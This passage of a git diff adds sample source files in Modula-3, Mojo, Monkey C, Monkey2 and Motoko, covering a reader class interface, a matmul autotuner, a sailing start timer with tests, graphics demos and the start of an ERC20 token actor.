+                                    this to FALSE *)
+      seekable, intermittent: BOOLEAN;
+    METHODS
+      seek   (n: CARDINAL; dontBlock: BOOLEAN): SeekResult
+                         RAISES {Failure, Alerted};
+      (* ^rd is locked and not closed. *)
+      getSub (VAR a: ARRAY OF CHAR): CARDINAL
+                         RAISES {Failure, Alerted} := GetSubDefault;
+      (* ^rd is locked and not closed. *)
+      length (): INTEGER RAISES {Failure, Alerted} := LengthDefault;
+      (* ^rd is locked and not closed. *)
+      close  () RAISES {Failure, Alerted}          := CloseDefault;
+    END;
+
+(* Let rd be a reader, abstractly given by len(rd), src(rd), cur(rd),
+avail(rd), closed(rd), seekable(rd), and intermittent(rd).  The data
+fields cur, closed, seekable, and intermittent in the object represent
+the corresponding abstract attributes of rd.  The buff, st, lo, and hi
+fields represent a buffer that contains part of src(rd), the rest of
+which is represented in some class-specific way. 
+
+More precisely, we say that the state of the representation is valid
+if conditions V1 through V4 hold:
+
+V1. the characters of buff in the range [st .. st+(hi-lo)] accurately 
+    reflect src.  That is,  for all i in [rd.lo .. rd.hi-1],
+           
+	rd.buff[rd.st + i - rd.lo] = src(rd)[i]
+
+V2. the cur field is in or just past the end of the occupied part of the 
+    buffer, that is:
+
+        rd.lo <= rd.cur <= rd.hi
+
+V3. the reader does not claim to be both intermittent and seekable:
+
+	NOT (rd.intermittent AND rd.seekable)
+
+It is possible that buff = NIL in a valid state, since the range of
+i's in V1 may be empty; for example, in case lo = hi.
+
+V4. if closed(rd) then rd.buff = NIL AND rd.lo = rd.hi
+
+If rd is valid and cur(rd) is less than rd.hi, we say the reader
+is ready.  More precisely, rd is ready if:
+
+   NOT rd.closed  AND  rd.buff # NIL  AND  rd.lo <= rd.cur < rd.hi
+
+If the state is ready, then Rd.GetChar can be implemented by fetching
+from the buffer.  Together V1, V2, and V4 imply that if rd.cur # rd.hi
+then rd.buff # NIL and NOT rd.closed.  Therefore a valid reader is ready
+if "rd.cur # rd.hi".
+
+The class-independent code modifies rd.cur, but no other variables
+revealed in this interface (except that "Rd.Close" modifies "rd.lo" and
+"rd.cur" and sets "rd.buff" to NIL in order to maintain invariant V4).  The
+class-independent code locks the reader before calling any methods.
+
+Here are the specifications for the methods:
+
+The basic purpose of the seek method is to make the reader ready.  To
+seek to a position n, the class-independent code checks whether the reader
+would be ready with rd.cur = n and if so, simply sets rd.cur to n.
+If not, it calls rd.seek supplying the position n as argument.
+As in the case of writers, the seek method can be called even for an
+unseekable reader in the special case of advancing to the next buffer.
+
+The fields with names beginning with "Unget" describe a buffer of characters 
+retained in case they need to be reused by UngetChar.  The fields with names 
+beginning with "Waiting" are a buffer once supplied by class-dependent code
+but temporarily suspended while characters originally saved in the unget 
+and then ungotten are being returned.  If NIL#Ungetbuff=buff, we are accessing
+previously ungotten characters from Ungetbuff^, and Waitingbuff is the buffer 
+most recently provided by seek.  Otherwise, buff is the buffer most recently
+provided by seek.  Either way, the fast path in class-independent code for 
+getting characters works the same, using buff, st, lo, and hi, as in the 
+earlier implementation, and ignoring the other buffer fields.  
+
+Similarly, (class-dependent) seek method bodies use only these same fields.  
+Only UngetChar and class-independent code surrounding seek method calls need
+be aware of the additional two buffer pointers and their subscripts.        
+
+There is a wrinkle to support the implementation of CharsReady.  If rd
+is ready, the class-independent code can handle the call to
+CharsReady(rd) without calling any methods (since there is at least
+one character ready in the buffer), but if rd.cur = rd.hi, then the
+class independent code needs to find out from the class implementation
+whether any characters are ready in the next buffer.  Using the seek
+method to advance to the next buffer won't do, since this could block,
+and CharsReady isn't supposed to block.  Therefore, the seek method
+takes a boolean argument saying whether blocking is allowed. If
+blocking is forbidden and the next buffer isn't ready, the method
+returns the special value WouldBlock; this allows the
+class-independent code to return zero from CharsReady.  The "dontBlock"
+boolean should be "TRUE" only if the seek method is being used to advance
+to the next buffer.
+
+More precisely, given a valid state where
+
+     (n # rd.hi) => rd.seekable
+AND  (dontBlock => n = rd.hi)
+
+the call res := rd.seek(n, dontBlock) establishes a valid state.
+Furthermore, if res = Ready then rd is ready and rd.cur = n;
+while if res = Eof, then rd.cur = len(rd); and finally if res = WouldBlock
+then dontBlock was TRUE and avail(rd) = cur(rd).
+
+The getSub method is used to implement Rd.GetSub and is
+called with the reader lock held and the reader not closed.  Efficient 
+implementations override this method to avoid unnecessary copying by reading 
+directly from the reader source, bypassing the reader buffer.  The default
+implementation is correct for any class, but always copies through
+the reader buffer.
+
+The length method returns the length of a non-intermittent reader.
+That is: Given a valid state in which rd.intermittent is FALSE, the
+call rd.length() returns len(rd) without changing the state of rd.  An
+intermittent reader may return the length if it is known, or -1.
+
+The close method releases all resources associated with rd.  The exact
+meaning of this is class-specific.  "Rd.Close" sets the "buff" field
+to "NIL", so the method need not do this.  When the method is 
+called the state will be valid; validity is not required when the 
+method returns (since after it returns, the class-independent code 
+will set the closed bit in the reader, which makes the rest of 
+the state irrelevant).
+
+The remainder of the interface is similar to the corresponding part 
+of the WrClass interface: *)
+
+PROCEDURE Init(rd: Rd.T); 
+(* Class-independent initialize rd, including private fields revealed herein. *)
+
+PROCEDURE Lock(rd: Rd.T) RAISES {};
+(* The reader rd must be unlocked; lock it and make its state valid. *)
+
+PROCEDURE Unlock(rd: Rd.T) RAISES {};
+(* The reader rd must be locked and valid; unlock it and restore the
+private invariant of the reader implementation. *)
+
+PROCEDURE GetSubDefault(rd: Rd.T; VAR (*OUT*) str: ARRAY OF CHAR): CARDINAL
+  RAISES {Failure, Alerted};
+  (* rd is locked and not closed. *)
+(* Implement "getSub" by copying from the buffer, calling the "seek"
+   method as necessary.  Clients can override this in order to
+   achieve greater efficiency; for example, by copying directly
+   from the source of the reader into "str". *)
+
+PROCEDURE LengthDefault(rd: Rd.T): INTEGER RAISES {Failure, Alerted};
+(* The procedure LengthDefault causes a checked runtime error; this
+represents an error in the (non-intermittent) class implementation. *)
+
+PROCEDURE CloseDefault(rd: Rd.T) RAISES {Failure, Alerted};
+(* The procedure CloseDefault is a no-op. *)
+
+END RdClass.
+
diff --git a/samples/Mojo/Bool.mojo b/samples/Mojo/Bool.mojo
new file mode 100644
index 0000000000..69f44c6e34
--- /dev/null
+++ b/samples/Mojo/Bool.mojo
@@ -0,0 +1,31 @@
+alias OurTrue = OurBool(__mlir_attr.`true`)
+alias OurFalse: OurBool = __mlir_attr.`false`
+
+
+@register_passable("trivial")
+struct OurBool:
+    var value: __mlir_type.i1
+
+    fn __init__() -> Self:
+        return OurFalse
+
+    fn __init__(value: __mlir_type.i1) -> Self:
+        return Self {value: value}
+
+    fn __bool__(self) -> Bool:
+        return Bool(self.value)
+
+    fn __mlir_i1__(self) -> __mlir_type.i1:
+        return self.value
+
+    fn __eq__(self, rhs: OurBool) -> Self:
+        let lhsIndex = __mlir_op.`index.casts`[_type : __mlir_type.index](self.value)
+        let rhsIndex = __mlir_op.`index.casts`[_type : __mlir_type.index](rhs.value)
+        return Self(
+            __mlir_op.`index.cmp`[pred : __mlir_attr.`#index<cmp_predicate eq>`](
+                lhsIndex, rhsIndex
+            )
+        )
+
+    fn __invert__(self) -> Self:
+        return OurFalse if self == OurTrue else OurTrue
diff --git a/samples/Mojo/Matmul.mojo b/samples/Mojo/Matmul.mojo
new file mode 100644
index 0000000000..949b163980
--- /dev/null
+++ b/samples/Mojo/Matmul.mojo
@@ -0,0 +1,152 @@
+from autotune import autotune, search
+from algorithm import parallelize, Static2DTileUnitFunc as Tile2DFunc, vectorize_unroll
+from benchmark import Benchmark
+from sys.intrinsics import strided_load
+from utils.list import VariadicList
+from math import div_ceil, min
+from memory import memset_zero
+from memory.unsafe import DTypePointer, Pointer
+from random import rand, random_float64
+from sys.info import simdwidthof
+from time import now
+
+
+struct Matrix:
+    var data: DTypePointer[DType.float32]
+    var rows: Int
+    var cols: Int
+
+    fn __init__(inout self, rows: Int, cols: Int):
+        self.data = DTypePointer[DType.float32].alloc(rows * cols)
+        rand(self.data, rows * cols)
+        self.rows = rows
+        self.cols = cols
+
+    fn __del__(owned self):
+        self.data.free()
+
+    fn zero(inout self):
+        memset_zero(self.data, self.rows * self.cols)
+
+    @always_inline
+    fn __getitem__(self, y: Int, x: Int) -> Float32:
+        return self.load[1](y, x)
+
+    @always_inline
+    fn load[nelts: Int](self, y: Int, x: Int) -> SIMD[DType.float32, nelts]:
+        return self.data.simd_load[nelts](y * self.cols + x)
+
+    @always_inline
+    fn __setitem__(self, y: Int, x: Int, val: Float32):
+        return self.store[1](y, x, val)
+
+    @always_inline
+    fn store[nelts: Int](self, y: Int, x: Int, val: SIMD[DType.float32, nelts]):
+        self.data.simd_store[nelts](y * self.cols + x, val)
+
+
+alias matmul_fn_sig_type = fn (Matrix, Matrix, Matrix) -> None
+
+
+# Perform 2D tiling on the iteration space defined by end_x and end_y.
+fn tile[tiled_fn: Tile2DFunc, tile_x: Int, tile_y: Int](end_x: Int, end_y: Int):
+    # Note: this assumes that ends are multiples of the tiles.
+    for y in range(0, end_y, tile_y):
+        for x in range(0, end_x, tile_x):
+            tiled_fn[tile_x, tile_y](x, y)
+
+
+alias nelts = simdwidthof[DType.float32]()  # The SIMD vector width.
+
+
+# Autotune the tile size used in the matmul.
+@adaptive
+fn matmul_autotune_impl(C: Matrix, A: Matrix, B: Matrix):
+    @parameter
+    fn calc_row(m: Int):
+        @parameter
+        fn calc_tile[tile_x: Int, tile_y: Int](x: Int, y: Int):
+            for k in range(y, y + tile_y):
+
+                @parameter
+                fn dot[
+                    nelts: Int,
+                ](n: Int):
+                    C.store[nelts](
+                        m,
+                        n + x,
+                        C.load[nelts](m, n + x) + A[m, k] * B.load[nelts](k, n + x),
+                    )
+
+                vectorize_unroll[nelts, tile_x // nelts, dot](tile_x)
+
+        # Instead of hardcoding to tile_size = 4, search for the fastest
+        # tile size by evaluting this function as tile size varies.
+        alias tile_size = autotune(1, 2, 4, 8, 16, 32)
+        tile[calc_tile, nelts * tile_size, tile_size](A.cols, C.cols)
+
+    parallelize[calc_row](C.rows)
+
+
+fn matmul_evaluator(funcs: Pointer[matmul_fn_sig_type], size: Int) -> Int:
+    print("matmul_evaluator, number of candidates: ", size)
+
+    let eval_begin: Int = now()
+
+    # This size is picked at random, in real code we could use a real size
+    # distribution here.
+    let M = 512
+    let N = 512
+    let K = 512
+    print("Optimizing for size:", M, "x", N, "x", K)
+
+    var best_idx: Int = -1
+    var best_time: Int = -1
+
+    alias eval_iterations = 10
+    alias eval_samples = 10
+
+    var C = Matrix(M, N)
+    var A = Matrix(M, K)
+    var B = Matrix(K, N)
+    let Cptr = Pointer[Matrix].address_of(C).address
+    let Aptr = Pointer[Matrix].address_of(A).address
+    let Bptr = Pointer[Matrix].address_of(B).address
+
+    # Find the function that's the fastest on the size we're optimizing for
+    for f_idx in range(size):
+        let func = funcs.load(f_idx)
+
+        @always_inline
+        @parameter
+        fn wrapper():
+            func(C, A, B)
+
+        let cur_time = Benchmark(1, 100_000, 500_000_000, 1000_000_000).run[wrapper]()
+
+        if best_idx < 0:
+            best_idx = f_idx
+            best_time = cur_time
+        if best_time > cur_time:
+            best_idx = f_idx
+            best_time = cur_time
+
+    let eval_end: Int = now()
+    # Prevent matrices from being destroyed before we finished benchmarking them.
+    _ = A.data
+    _ = B.data
+    _ = C.data
+    print("Time spent in matmul_evaluator, ms:", (eval_end - eval_begin) // 1000000)
+    print("Best candidate idx:", best_idx)
+    return best_idx
+
+
+fn matmul_autotune(C: Matrix, A: Matrix, B: Matrix):
+    alias best_impl: matmul_fn_sig_type
+    search[
+        matmul_fn_sig_type,
+        VariadicList(matmul_autotune_impl.__adaptive_set),
+        matmul_evaluator -> best_impl
+    ]()
+    # Run the best candidate
+    return best_impl(C, A, B)
diff --git a/samples/Monkey C/VesselModel.mc b/samples/Monkey C/VesselModel.mc
new file mode 100644
index 0000000000..ec33e3b960
--- /dev/null
+++ b/samples/Monkey C/VesselModel.mc	
@@ -0,0 +1,227 @@
+using Toybox.Time;
+
+class StartTimer {
+
+    var startTime = null; // if null: clock is STOPPED, if non-null: clock is RUNNING
+    var countDown = new Time.Duration(5 * 60);
+    var clock;
+
+    function initialize(clock_) {
+    	clock = clock_;
+    }
+    
+    function start() {
+    	if (startTime == null) { // cannot re-start timer that's already started
+    		startTime = clock.now().add(countDown);
+    	}
+    }
+    
+    // Synchronizes running pre-start timer to the closest full minute
+    function sync() {
+    	var now = clock.now();
+    	if (startTime != null && now.compare(startTime) < 0) {
+    		var delta = startTime.subtract(now).value();
+    		var mins = Math.round((delta + 0.0) / 60.0);
+    		startTime = now.add(new Time.Duration(60 * mins));	
+    	}
+    }
+    
+    // Fast-forwards timer by 1 minute. E.g., a -4mins pre-start timer goes to -3mins,
+    // or a 2mins post-start timer goes to 3mins. 
+    function forward() {
+    	if (startTime) {
+    		// Clock is STARTED
+    		startTime = startTime.subtract(new Time.Duration(60));
+    	} else {
+    		// Clock is STOPPED
+    		countDown = countDown.subtract(new Time.Duration(60));
+    	}
+    }
+    
+    // Rewinds timer by 1 minute. E.g., a -4mins pre-start timer goes to -5mins,
+    // or a 2mins post-start timer goes to 1mins. 
+    function backward() {
+    	if (startTime) {
+    		// Clock is STARTED
+    		startTime = startTime.add(new Time.Duration(60));
+    	} else {
+    		// Clock is STOPPED
+    		countDown = countDown.add(new Time.Duration(60));
+    	}
+    }
+    
+    function getDuration() {
+    	if (startTime) {
+    		// Clock is STARTED
+    		
+    		// Note that Moment.subtract() always yields a positive duration, so
+    		// we need to make an explicit decision regarding the sign.
+    		if (clock.now().compare(startTime) < 0) {
+    			return new Time.Duration(-clock.now().subtract(startTime).value());
+    		} else {
+    			return clock.now().subtract(startTime);
+    		}
+    	} else {
+    		// Clock is STOPPED
+    		return new Time.Duration(-countDown.value());
+    	}
+    }
+}
+
+class FakeClock {
+	var epochSeconds = 0;
+	
+	function now() {
+		return new Time.Moment(epochSeconds);
+	}
+}
+
+class SystemClock {
+	function now() {
+		return Time.now();
+	}
+}
+
+class StartTimerTests {
+	(:test)
+	function newTimer_hasDefaultDuration(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		return timer.getDuration().value() == -300;
+	}
+	
+	(:test)
+	function startedTimer_countsDown(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		timer.start();
+		var success = true;
+		
+		clock.epochSeconds = 10;
+		success &= (timer.getDuration().value() == -290);
+		
+		clock.epochSeconds = 290;
+		success &= (timer.getDuration().value() == -10);
+		
+		clock.epochSeconds = 300;
+		success &= (timer.getDuration().value() == 0);
+		
+		clock.epochSeconds = 310;
+		success &= (timer.getDuration().value() == 10);
+		
+		return success;
+	}
+	
+	(:test)
+	function sync_isNoOpOnUnstartedTimer(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		timer.sync();
+		return timer.startTime == null && timer.getDuration().value() == -300;
+	}
+	
+	(:test)
+	function sync_isNoOpInPostStart(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		timer.start();
+		clock.epochSeconds = 310; // 10 seconds post-start
+		timer.sync();
+		return timer.getDuration().value() == 10;
+	}
+	
+	(:test)
+	function sync_syncsToClosestMinute(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		timer.start();
+		var success = true;
+		
+		// Initial condition
+		success &= timer.startTime.value() == 300 && timer.getDuration().value() == -300;
+		
+		// No-op when exactly on 4 minutes
+		clock.epochSeconds = 60;
+		timer.sync();
+		success &= timer.startTime.value() == 300 && timer.getDuration().value() == -240;
+		
+		// Sync from 3:50 to 4:00
+		clock.epochSeconds = 70;
+		timer.sync();
+		success &= timer.startTime.value() == 310 && timer.getDuration().value() == -240;
+		
+		// Sync from 3:29 to 3:00
+		clock.epochSeconds = 101;
+		timer.sync();
+		success &= timer.startTime.value() == 281 && timer.getDuration().value() == -180;
+		
+		// Sync from 0:09 to 0:00
+		clock.epochSeconds = 272;
+		timer.sync();
+		success &= timer.startTime.value() == 272 && timer.getDuration().value() == 0;
+		
+		return success;
+	}
+	
+	(:test)
+	function forward_whenNotStarted_decreasesPrestartTime(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		
+		timer.forward();
+		return timer.startTime == null && timer.getDuration().value() == -240;
+	}
+	
+	(:test)
+	function forward_whenStarted_decreasesPrestartTime(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		timer.start();
+		
+		clock.epochSeconds = 60;
+		timer.forward();
+		return timer.startTime.value() == 240 && timer.getDuration().value() == -180;
+	}
+	
+	(:test)
+	function forward_whenStarted_increasesPostStartTime(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		timer.start();
+		
+		clock.epochSeconds = 360;
+		timer.forward();
+		return timer.startTime.value() == 240 && timer.getDuration().value() == 120;
+	}
+	
+	(:test)
+	function backward_whenNotStarted_increasesPrestartTime(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		
+		timer.backward();
+		return timer.startTime == null && timer.getDuration().value() == -360;
+	}
+	
+	(:test)
+	function backward_whenStarted_decreasesPrestartTime(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		timer.start();
+		
+		clock.epochSeconds = 60;
+		timer.backward();
+		return timer.startTime.value() == 360 && timer.getDuration().value() == -300;
+	}
+	
+	(:test)
+	function backward_whenStarted_increasesPostStartTime(logger) {
+		var clock = new FakeClock();
+		var timer = new StartTimer(clock);
+		timer.start();
+		
+		clock.epochSeconds = 360;
+		timer.backward();
+		return timer.startTime.value() == 360 && timer.getDuration().value() == 0;
+	}
+}
diff --git a/samples/Monkey/encodeToPng.monkey2 b/samples/Monkey/encodeToPng.monkey2
new file mode 100644
index 0000000000..32de210df0
--- /dev/null
+++ b/samples/Monkey/encodeToPng.monkey2
@@ -0,0 +1,83 @@
+
+#Import "<std>"
+Using std..
+
+'Set your own path here. Defaults to build folder.
+Global path:= AppDir() + "encodeToPng.png"		
+
+Function Main()
+	
+	'Write from PixMap
+	Local source := New Pixmap( 100, 100 )
+	For Local y := 0 Until source.Width
+		For Local x := 0 Until source.Height
+			'Generates random pixels
+			source.SetPixelARGB( x, y, ARGB( 255, Rnd(0, 255), 0, Rnd(0, 255) ) )
+		Next
+	Next
+	source.Save( path )
+	
+	'Read from png to PixMap
+	Local dest := Pixmap.Load( path )
+	Local a :=  ""
+	Local r :=  ""
+	Local g :=  ""
+	Local b :=  ""
+	For Local y := 0 Until dest.Width
+		For Local x := 0 Until source.Height
+			Local argb := dest.GetPixelARGB(x,y) 
+			a += ARGBToAlpha( argb ) + " "
+			r += ARGBToRed( argb ) + " "
+			g += ARGBToGreen( argb ) + " "
+			b += ARGBToBlue( argb ) + " "
+		Next
+		a += "~n"
+		r += "~n"
+		g += "~n"
+		b += "~n"
+	Next
+	
+	'Print resulting pixels
+	Print( " ~nAlpha:~n" + a )
+	Print( " ~nRed:~n" + r )
+	Print( " ~nGreen:~n" + g )
+	Print( " ~nBlue:~n" + b )	
+	
+End
+
+
+'**************** Color Functions **************** 
+
+
+Function ARGB:UInt( a:Float, r:Float, g:Float, b:Float )
+	Assert ( a<=1.0, "Alpha max value is 1.0" )
+	Assert ( r<=1.0, "Red max value is 1.0" )
+	Assert ( g<=1.0, "Green max value is 1.0" )
+	Assert ( b<=1.0, "Blue max value is 1.0" )
+	Return UInt(a*255) Shl 24 | UInt(r*255) Shl 16 | UInt(g*255) Shl 8 | UInt(b*255)
+End
+
+Function ARGB:UInt( a:Int, r:Int, g:Int, b:Int )
+	Assert ( a<256, "Alpha can't be higher than 255" )
+	Assert ( r<256, "Red can't be higher than 255" )
+	Assert ( g<256, "Green can't be higher than 255" )
+	Assert ( b<256, "Blue can't be higher than 255" )
+	Return( a Shl 24 | r Shl 16 | g Shl 8 | b )
+End
+
+Function ARGBToAlpha:Int( argb:UInt )
+	Return argb Shr 24 & $ff
+End
+
+Function ARGBToRed:Int( argb:UInt )
+	Return argb Shr 16 & $ff
+End
+
+Function ARGBToGreen:Int( argb:UInt )
+	Return argb Shr 8 & $ff
+End
+
+Function ARGBToBlue:Int( argb:UInt )
+	Return argb & $ff
+End
+
diff --git a/samples/Monkey/example.monkey2 b/samples/Monkey/example.monkey2
new file mode 100644
index 0000000000..411a847e65
--- /dev/null
+++ b/samples/Monkey/example.monkey2
@@ -0,0 +1,185 @@
+
+Namespace example
+
+#rem
+multi
+line
+comment
+#end
+
+#rem
+nested
+#rem
+multi
+line
+#end
+comment
+#end
+
+'Importing a module pre-compile in the modules folder
+#Import "<mojo>"
+
+'Setting search paths for namespaces
+Using mojo..
+Using std..
+
+Const ONECONST:Int = 1
+Const TWOCONST := 2
+Const THREECONST := 3, FOURCONST:Int = 4
+
+Global someVariable:Int = 4
+
+Function Main()
+	'creating arrays
+	Local scores:Int[]= New Int[](10,20,30)
+	Local text:String[]= New String[]( "Hello","There","World" )
+	
+	' string type
+	Local string1:String = "Hello world"
+	Local string2:= "Hello world"
+	
+	' escape characers in strings
+	Local string4 := "~qHello World~q"
+	Local string5 := "~tIndented~n"
+	Local string6 := "tilde is wavey... ~~"
+	Print string4
+	Print string5
+	Print string6
+	
+	' string pseudofunctions
+	Print "       Hello World  ~n".Trim()    ' prints "Hello World" whithout whitespace
+	Print "Hello World".ToUpper()               ' prints "HELLO WORLD"
+
+	' preprocessor keywords
+	#If __TARGET__ = "android"
+	'DoStuff()
+	#ElseIf __TARGET__ = "ios"
+	'DoOtherStuff()
+	#End
+	
+	' operators
+	Local a := 32
+	Local b := 32 ~ 0
+	b ~= 16
+	b |= 16
+	b &= 16
+	Local c := a | b
+	Print c
+	
+	'Creates a new Window class and starts the main App loop, using the Mojo module
+	New AppInstance
+	New GameWindow
+	App.Run()
+End
+
+
+'------------------------------------------ Class Examples ------------------------------------------
+
+
+'You can extend the Window class to customize its behavior
+Class GameWindow Extends Window
+	
+	Private
+	Field _spiral :Float[]
+	Field _circle :Float[]
+	
+	Public
+	Method New()
+		Super.New( "Test", 800, 600, WindowFlags.Resizable )
+	End
+	
+	'Properties can be used to create "read-only" values
+	Property Spiral:Float[]()
+		Return _spiral
+	End
+	
+	'Or to control what happens to a value when assigned
+	Property Circle:Float[]()
+		Return _circle
+	Setter( values:Float[] )
+		If( values.Length > 2 ) And	( values.Length Mod 2 = 0 )
+			_circle = values
+		Else
+			Print( "Circle values need to be an even number larger than 1" )	
+		End
+	End
+
+	'Methods require a class instance. The keyword Self is optional when accessing fields and properties
+	'The method Window.OnRender is virtual, and can be overriden
+	'Width and Height are Propreties inherited from the Window class
+	Method OnRender( canvas:Canvas ) Override
+		RequestRender()
+		canvas.Clear( Color.DarkGrey )
+		canvas.Translate( Width/2.0, Height/2.0 )
+		canvas.Rotate( -Millisecs()/200.0 )
+		canvas.Color = New Color( 1, 0.8, 0.2 )
+		DrawLines( canvas, Spiral )
+		DrawLines( canvas, Circle, True )
+	End
+	
+	'This method is called whenever the window layout changes, like when resizing
+	Method OnLayout() Override
+		_spiral = CreateSpiral( 0, 0, Height/1.5, Height/1.5, 100 )
+		Circle = CreateCircle( 0, 0, Height/1.5, Height/1.5, 100 )	
+	End
+	
+	'Functions can be called without a GameWindow instance, like "Static Functions" in other languages.
+	Function DrawLines( canvas:Canvas, lines:Float[], closedShape:Bool = False )
+		For Local n := 0 Until lines.Length Step 2
+			Local l := lines.Length - 3
+			Local x0 := lines[n]
+			Local y0 := lines[n+1]
+			Local x1 := n<l? lines[n+2] Else (closedShape? lines[0] Else x0 )    'Conditional assignment, uses the "?" symbol to test a condition
+			Local y1 := n<l? lines[n+3] Else (closedShape? lines[1] Else y0 )
+			canvas.DrawLine( x0, y0, x1, y1 )
+		Next
+	End
+	
+	Function CreateSpiral:Float[]( x:Double, y:Double, width:Double, height:Double, sides:Int = 32, turns:Float = 3.0 )
+		Local stack := New Stack<Float>
+		Local radStep := (Pi*2.0)/Float(sides)
+		Local xMult := 0.0
+		Local yMult := 0.0
+		Local radiusX:Float = width/2.0
+		Local radiusY:Float = height/2.0
+		Local stepX:Float = radiusX / sides
+		Local stepY:Float = radiusY / sides
+		For Local a := 0.0 To Pi*2 Step radStep
+			stack.Push( ( ( Sin( a*turns ) * radiusX )* xMult ) + x ) 
+			stack.Push( ( ( Cos( a*turns ) * radiusY )* yMult ) + y )
+			xMult += stepX/radiusX
+			yMult += stepY/radiusY
+		Next
+		Return stack.ToArray()
+	End
+	
+	Function CreateCircle:Float[]( x:Double, y:Double, width:Double, height:Double, sides:Int = 32 )
+		Local stack := New Stack<Float>
+		Local radStep := (Pi*2.0)/Float(sides)
+		Local radiusX:Float = width/2.0
+		Local radiusY:Float = height/2.0
+		For Local a := 0.0 To Pi*2 Step radStep
+			stack.Push( ( Sin( a ) * radiusX ) + x )
+			stack.Push( ( Cos( a ) * radiusY ) + y )
+		Next
+		Return stack.ToArray()
+	End
+
+End
+
+'--------- extending with generics -----------------------------------------------------------------------------
+
+Class MyList Extends List<Double>
+End
+
+'--------- interfaces ------------------------------------------------------------------------------------------
+
+Interface Computer
+  Method Boot ()
+  Method Process ()
+  Method Display ()
+End
+'
+Class PC Implements Computer
+End
+
diff --git a/samples/Monkey/gui.monkey2 b/samples/Monkey/gui.monkey2
new file mode 100644
index 0000000000..4947ef4c78
--- /dev/null
+++ b/samples/Monkey/gui.monkey2
@@ -0,0 +1,115 @@
+#Import "<mojo>"
+#Import "<mojox>"
+
+Using std..
+Using mojo..
+Using mojox..
+
+Function Main()
+	New AppInstance
+	New TestGui
+	App.Run()
+End
+
+
+Class TestGui Extends Window
+	Field mainDock:DockingView
+	Field rgtDock:ScrollView
+	Field graphView:GraphView
+	
+	Const smallFont:Font = Font.Load( "font::DejaVuSans.ttf", 10 )
+	
+	Method New()					
+		Super.New( "Test", 1024, 640, WindowFlags.Resizable )
+		mainDock = New MainDock()
+		rgtDock = New RightDock()
+		mainDock.AddView( rgtDock, "right", "400", True  )
+		ContentView = mainDock
+	End
+End
+
+
+Class MainDock Extends DockingView
+	Method New()
+		Layout="fill"
+		Local newStyle := Style.Copy()
+		newStyle.BackgroundColor = Color.DarkGrey
+		newStyle.BorderColor = Color.Black
+		newStyle.Font = TestGui.smallFont
+		Style = newStyle
+	End
+	
+	Method OnRender( canvas:Canvas ) Override
+		Super.OnRender( canvas )
+		canvas.Color = New Color( Rnd(), Rnd(), Rnd() )
+		canvas.DrawCircle( Frame.Width/4, Frame.Height/2, Frame.Height/4 )
+		canvas.Color = Color.Aluminum
+		canvas.DrawText( "gameview:" + App.FPS + " fps", 5, 5 )
+	End
+End
+
+
+
+Class RightDock Extends ScrollView
+	Private
+	Field _panSpeed := 10.0
+	
+	Public
+	Method New()
+		Layout="fill"
+		ScrollBarsVisible = True
+		
+		Local newStyle := Style.Copy()
+		newStyle.BackgroundColor = Color.Grey
+		newStyle.BorderColor = Color.Black
+		newStyle.Font = TestGui.smallFont
+		Style = newStyle
+		
+		Local graph:=New GraphView
+		ContentView = graph
+		
+		Scroll = New Vec2i( graph.Frame.Width/2, graph.Frame.Height/2 )	'Doesn't work!
+	End
+		
+	Method OnRender( canvas:Canvas ) Override
+		Super.OnRender( canvas )
+		canvas.Color = Color.Aluminum
+		canvas.DrawText( "size:" + Frame + " ,scroll:" + Scroll , 5, 5 )
+	End
+	
+	Method OnMouseEvent( event:MouseEvent ) Override
+		Select event.Type
+			Case EventType.MouseWheel
+				Scroll = New Vec2i( Scroll.X+(event.Wheel.X*_panSpeed), Scroll.Y-(event.Wheel.Y*_panSpeed) )
+				App.RequestRender()
+		End
+	End
+End
+
+
+Class GraphView	Extends View
+	Private
+	Field _panSpeed := 5.0
+	Field _size := New Vec2i( 1024, 1024 )
+	
+	Public
+	Method New()
+		MinSize=New Vec2i( _size.X, _size.Y )
+	End
+	
+	Method OnRender( canvas:Canvas ) Override
+		Local r:= 20.0
+		For Local x := 1 Until 10
+			For Local y := 1 Until 10
+				Local v :=  (x/10.0) -0.05
+				canvas.Color = New Color( v, v, v )
+				canvas.DrawCircle( (x*100)+r, (y*100)+r, r )
+			Next
+		Next
+	End
+End
+
+
+
+
+
diff --git a/samples/Monkey/sorting.monkey2 b/samples/Monkey/sorting.monkey2
new file mode 100644
index 0000000000..2291146a1d
--- /dev/null
+++ b/samples/Monkey/sorting.monkey2
@@ -0,0 +1,29 @@
+'Showcases use of Lambda functions and Generics.
+
+#Import "<std>"
+Using std..
+
+Function Main()
+
+	Local testStack := New Stack< MyObject >
+	
+	For Local n := 1 To 20
+		Local newItem := New MyObject
+		newItem.depth = Rnd( 0, 100 )
+		testStack.Push( newItem )
+	Next
+		
+	testStack.Sort( Lambda:Int( x:MyObject,y:MyObject )
+		Return x.depth<=>y.depth
+	End )
+	
+	For Local n := Eachin testStack
+		Print( n.depth )
+	Next
+	
+End
+
+
+Struct MyObject
+	Field depth := 0
+End
\ No newline at end of file
diff --git a/samples/Motoko/erc20.mo b/samples/Motoko/erc20.mo
new file mode 100644
index 0000000000..137d983ba0
--- /dev/null
+++ b/samples/Motoko/erc20.mo
@@ -0,0 +1,174 @@
+import HashMap "mo:base/HashMap";
+import Iter "mo:base/Iter";
+import Principal "mo:base/Principal";
+
+import Errors "errors";
+import Events "events";
+
+shared({caller}) actor class ERC20 (
+    tkName : Text,       // Name of the token.
+    tkSymbol : Text,     // Symbol of the token.
+    tkDecimals : Nat8,   // Number of decimals the token uses.
+    tkTotalSupply : Nat, // Total token supply.
+) = {
+    private stable let _name : Text = tkName;
+    // Returns the name of the token.
+    public query func name() : async Text {
+        _name;
+    };
+
+    private stable let _symbol : Text = tkSymbol;
+    // Returns the symbol of the token.
+    public query func symbol() : async Text {
+        _symbol;
+    };
+
+    private stable let _decimals : Nat8 = tkDecimals;
+    // Returns the number of decimals the token uses.
+    public query func decimals() : async Nat8 {
